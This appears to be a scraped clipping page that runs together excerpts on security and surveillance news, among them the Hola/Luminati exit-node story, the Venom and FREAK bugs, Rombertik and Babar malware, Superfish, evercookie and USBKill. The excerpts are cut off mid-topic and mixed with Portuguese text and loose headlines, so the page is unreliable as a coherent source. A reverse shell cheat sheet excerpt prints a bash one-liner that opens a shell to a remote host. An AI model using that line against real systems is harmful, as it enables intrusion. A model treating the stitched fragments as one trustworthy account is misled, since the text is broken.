Your Tool to Access Netflix Content Abroad Is Hijacking Your Internet Connection. On Saturday, a well-known spammer that goes by the name of “Bui” posted more than a thousand junk posts to a few messaging boards on 8chan, a popular anonymous internet imageboard. He did it just “to disrupt” and “for kicks,” Bui told Motherboard. But he actually ended up taking down the site for a few minutes, thanks to a sort of denial of service attack made of 1,474 nonsense posts, according to the administration of 8chan.
This seemingly minor incident reveals that millions of users of a popular free VPN service called Hola are being sold as exit nodes in a private network, potentially exposing them to having their connections and IP addresses involved in illegal or abusive activities. Bui’s attack was made possible by a paid service called Luminati, which, until recently, was described by its creators as a “larger, faster and more anonymous” version of the anonymizing software Tor, with “millions” of exit nodes. Yet, Vilenski himself admitted most users are probably not aware of it. SNEAKEY ::: Key Bumping is for Hacks. Evercookie - virtually irrevocable persistent cookies.
Samy's home page || follow my twitter || email me || samy kamkar October 11, 2010: Reported on the front page of the New York Times Find the latest details, code, and implementations on github @ Cookie found: uid = currently not set Click to create an evercookie. Don't worry, the cookie is a random number between 1 and 1000, not enough for me to track you, just enough to test evercookies. Evercookie is written in JavaScript and contains portions in Java, SWF/ActionScript (Flash) and C# (Silverlight).
What is the point of evercookie? Csshack, best website ever See CONTACT. Questions or comments, email me: code@samy.pl. Bigger than Heartbleed, 'Venom' security vulnerability threatens most datacenters. Move over, Heartbleed. There's a new catastrophic vulnerability in town. A security research firm is warning that a new bug could allow a hacker to take over vast portions of a datacenter -- from within. The zero-day vulnerability lies in a legacy common component in widely-used virtualization software, allowing a hacker to infiltrate potentially every machine across a datacenter's network. For Venom security flaw, the fix is in: Patch your VM today Most datacenters nowadays condense customers -- including major technology companies and smaller firms -- into virtualized machines, or multiple operating systems on one single server.
The cause is a widely-ignored, legacy virtual floppy disk controller that, if sent specially crafted code, can crash the entire hypervisor. The bug, found in open-source computer emulator QEMU, dates back to 2004. VMware, Microsoft Hyper-V, and Bochs hypervisors are not affected. The flaw may be one of the biggest vulnerabilities found this year. Polícias brasileiras não se protegem contra cibervigilância dos EUA.
De acordo com um telegrama de 2010 vazado pelo WikiLeaks, a embaixada dos Estados Unidos doou com regularidade computadores e outros equipamentos a diversos órgãos policiais brasileiros entre 2004 e 2009. O uso desses equipamentos doados passou a despertar preocupação depois que uma reportagem da revista alemã Der Spigel, de dezembro de 2013, revelou que uma unidade da NSA, agência de espionagem dos EUA, tem a capacidade de inserir dispositivos para “grampear” computadores, enviando todas as informações processadas pela máquina para a agência. O Observatório da Privacidade e Vigilância contatou os órgãos policiais brasileiros para saber se os computadores doados pelos EUA estavam em uso e se medidas preventivas foram tomadas para evitar o monitoramento.
A Polícia Federal e a Polícia Civil de São Paulo não responderam à reportagem. Além disso, a agência tem a capacidade de intervir nas máquinas à distância, por meio de dispositivos “remotamente instaláveis”. Plod wants your PC? Brick it with a USB stick BEFORE they probe it. Criminals, activists, and whistle-blowers have a new tool to help foil police by shutting down laptops before they are examined. "USBKill" is a script that turns an innocent-looking thumb drive into a kill switch that, when unplugged, forces computers to shut down.
Author "Hephaestos" (@h3phaestos) says their tool will prevent users becoming the next Ross Ulbricht, the former boss of the Silk Road drug marketplace arrested in a raid in which his laptop was seized while still powered on. "USBKill waits for a change on your usb ports, then immediately kills your computer," Hephaestos says in a Github document. "The police will use a mouse jiggler to keep the screensaver and sleep mode from activating. "If this happens you would like your computer to shut down immediately. " Users not content to trust that cops would pull USB sticks from laptops could attach it to their wrists so that it would unplug as they are tackled to the ground. 'Rombertik' malware kills host computers if you attempt a cure. Cisco researchers Ben Baker and Alex Chiu have found new malware that destroys a machine's Master Boot Record and home directories if it detects meddling white hats.
The pair from the Borg's TALOS malware probing department say the "Rombertik" malware is designed to steal keystrokes and data and targets Windows users through phishing. "At a high level, Romberik is a complex piece of malware that is designed to hook into the user’s browser to read credentials and other sensitive information for exfiltration to an attacker controlled server," the pair say in an advisory. "The process by which Rombertik compromises the target system is a fairly complex, with anti-analysis checks in place to prevent static and dynamic analysis.
"Before Rombertik begins the process of spying on users, Rombertik will perform once last check to ensure it is not being analysed in memory [and if so] will attempt to destroy the Master Boot Record (MBR) and restart the computer to render it unusable. " The Anti-Surveillance State: Clothes and Gadgets Block Face Recognition Technology, Confuse Drones and Make You (Digitally) Invisible. Last spring, designer Adam Harvey hosted a session on hair and makeup techniques for attendees of the 2015 FutureEverything Festival in Manchester, England. Rather than sharing innovative ways to bring out the audience’s eyes, Harvey’s CV Dazzle Anon introduced a series of styling methods designed with almost the exact opposite aim of traditional beauty tricks: to turn your face into an anti-face—one that cameras, particularly those of the surveillance variety, will not only fail to love, but fail to recognize.
Harvey is one of a growing number of privacy-focused designers and developers “exploring new opportunities that are the result of [heightened] surveillance,” and working to establish lines of defense against it. He’s spent the past several years experimenting with strategies for putting control over people's privacy back in their own hands, in their pockets and on their faces. Harvey’s work is focused on accessibility in addition to privacy. “Phones are the biggest thing. MySQL SQL Injection Cheat Sheet. Some useful syntax reminders for SQL Injection into MySQL databases… This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is: I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here. Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query. Thanks Jonathan Turner for @@hostname tip. Tags: cheatsheet, database, mysql, pentest, sqlinjection. Yaptest. Reverse Shell Cheat Sheet. If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former. Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared. The examples shown are tailored to Unix-like systems.
Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”. Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable. Bash Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10): bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 Ruby.
Facebook-Linked Accounts Can Be Hijacked with This Tool. A researcher has created an easy-to-use tool designed to hijack accounts on websites that use the Facebook Login button, such as Booking.com, About.me, Vimeo, and even news site Mashable. The tool, called RECONNECT, takes advantage of three bugs in the implementation of the Facebook Login button on those sites, allowing a hacker to take over someone’s account after tricking the victim to click on a malicious link.
It’s important to note that this tool doesn’t allow an attacker to take over Facebook accounts, but only accounts on third-party sites that use the Facebook Login button. Egor Homakov, the researcher who found the bug, claimed that he actually discovered it last year, and that he warned Facebook—but the company didn’t listen to him. That’s why “it’s time to take it to the next level and give blackhats this simple tool,” as he wrote in a blog post explaining the bug, published on Thursday. “Go blackhats, don’t be shy!” So, should you be worried about this bug? A Group 'Hacked' the NSA's Website to Demonstrate the Widespread Bug FREAK. A group of researchers only needed $104 and 8 hours of Amazon’s cloud computing power to hack the NSA’s website. And their feat was made possible by a bug that, ironically, was practically created by the NSA itself and its anti-encryption policies from 20 years ago. The NSA’s site was just the guinea pig to demonstrate a newly-disclosed internet flaw called FREAK.
The bug, first disclosed on Monday by Akamai, allows an attacker to intercept a supposedly secure connection between people using Android or Apple devices and thousands, if not millions, of websites. This gives the hackers the chance to impersonate said website and steal confidential data like passwords and logins. Now, as crypto expert Matthew Green correctly pointed out, this wasn’t really a “hack.” The researchers were actually just trying to make a point, and to show how dangerous this new bug is.
That’s the lesson here. “In the current climate, it felt like the appropriate website to mount a man-in-the-middle attack on.” How the Military Will Fight ISIS on the Dark Web. Lenovo Shipped PC’s with Spyware that Breaks HTTPS. If you’ve ever purchased a new computer then you are probably familiar with the barrage of bloatware that comes pre-installed. Usually there are system tools, antivirus software trials, and a whole bunch of other things that most of us never wanted in the first place. Well now we can add Superfish spyware to the list. You may wonder what makes this case so special.
A lot of PC’s come with software pre-installed that collect usage statistics for the manufacturer. Superfish is a somewhat extreme case of this. The software actually installs a self-signed root HTTPS certificate. Then, the software uses its own certificates for every single HTTPS session the user opens. As if that wasn’t bad enough, their certificate is actually using a deprecated SHA-1 certificate that uses 1024-bit RSA encryption. Since this discovery was made, Lenovo has released a statement saying that Superfish was installed on some systems that shipped between September and December of 2014. Six Ways Law Enforcement Monitors the Dark Web.
The Internet Corporation for Assigned Names and Numbers' contract with the United Nations is set to expire this year, which means it's a good time for internet governance types to try to make changes to how it operates. Some believe ICANN should become less US-centric. Others believe ICANN needs to focus more on understanding the dark web. Michael Chertoff, former secretary of the Department of Homeland Security and now a security advisor and lawyer, and Tobby Simon, of the Bangalore-based Synergia Foundation think tank, just released a paper with the Global Commission on Internet Governance suggesting that researchers need "new ways to spot upcoming malicious [dark net] services to deal with new phenomena as quickly as possible.
" Chertoff actually compares fighting crime on the dark web to Alexander the Great's doomed invasion of Persepolis in 331 BC. Mapping the hidden services directory Customer data monitoring Social site monitoring Hidden service monitoring Semantic analysis. Meet Babar, a New Malware Almost Certainly Created by France. On Wednesday, the researchers will reveal new details about a powerful piece of malware known as “Babar,” which is capable of eavesdropping on online conversations held via Skype, MSN and Yahoo messenger, as well as logging keystrokes and monitoring which websites an infected user has visited. Babar is “a fully blown espionage tool, built to excessively spy” on its victims, according to the research, and which Motherboard reviewed in advance. The researchers are publishing two separate but complementary reports that analyze samples of the malware, and all but confirm that France’s spying agency the General Directorate for External Security (DGSE) was responsible for its creation.
France’s Defense Ministry did not respond to a request for comment by the time of publication. “European nations are just as capable as the US and Russia to take their espionage efforts to cyberspace,” Marion Marschalek, an Austrian researcher at Cyphort and author of one of the reports, told Motherboard. Cyber Firm: The NSA Is Out-Hacking the Chinese and the Russians.
The exposure of an all-star hacker group thought to be affiliated with the National Security Agency is both a feather in the spy agency’s cap and a setback for intelligence-gathering on Islamic extremists, some threat analysts say. On Sunday, Kaspersky Lab, a research firm headquartered in Moscow, published an analysis implying the “Equation Group” is the same entity behind the so-called Stuxnet worm. That malware is believed to be a joint NSA-Israeli invention that sabotaged Iran’s nuclear centrifuges in 2009 or 2010. Code developed by the possibly-20-year-old group can reprogram popular hard drives in a way that is virtually impossible for almost any person or machine to see. While surveilling an Islamic Jihadist discussion forum, the team took pains to infect only specific targets by checking their usernames and network addresses, according to the new analysis.
The victims resided in Iran, Russia, Syria, Afghanistan and Belgium, among some 30 other countries, according to Kaspersky. This Encryption Tool Is So Secret It Hides the Fact It Even Exists. The Google Search That Took Down Ross Ulbricht. Is 'SimCity' Homelessness a Bug or a Feature? A world of MQTT on ESP8266. The Biggest Security Threats We'll Face in 2015. Chaos Computer Club Says They Can Hack Your Fingerprint. North Korea's Internet and Mobile Phone Network 'Paralyzed' Can Japan Kickstart an International Cyber Alliance? These experts still don't buy the FBI claim that North Korea hacked Sony. The 10 Biggest Bank Card Hacks. The Sony Pictures Hack Is the Latest in Mega-Malware Trend Started by Stuxnet. Bitcoin laid bare: Boffins beat anonymity.
Observatório da Imprensa | Observatório da Imprensa - Vo. The Invisible Things Lab's blog: Evil Maid goes after TrueCrypt! The Invisible Things Lab's blog: Anti Evil Maid. The Invisible Things Lab's blog: Anti Evil Maid. Qubes OS.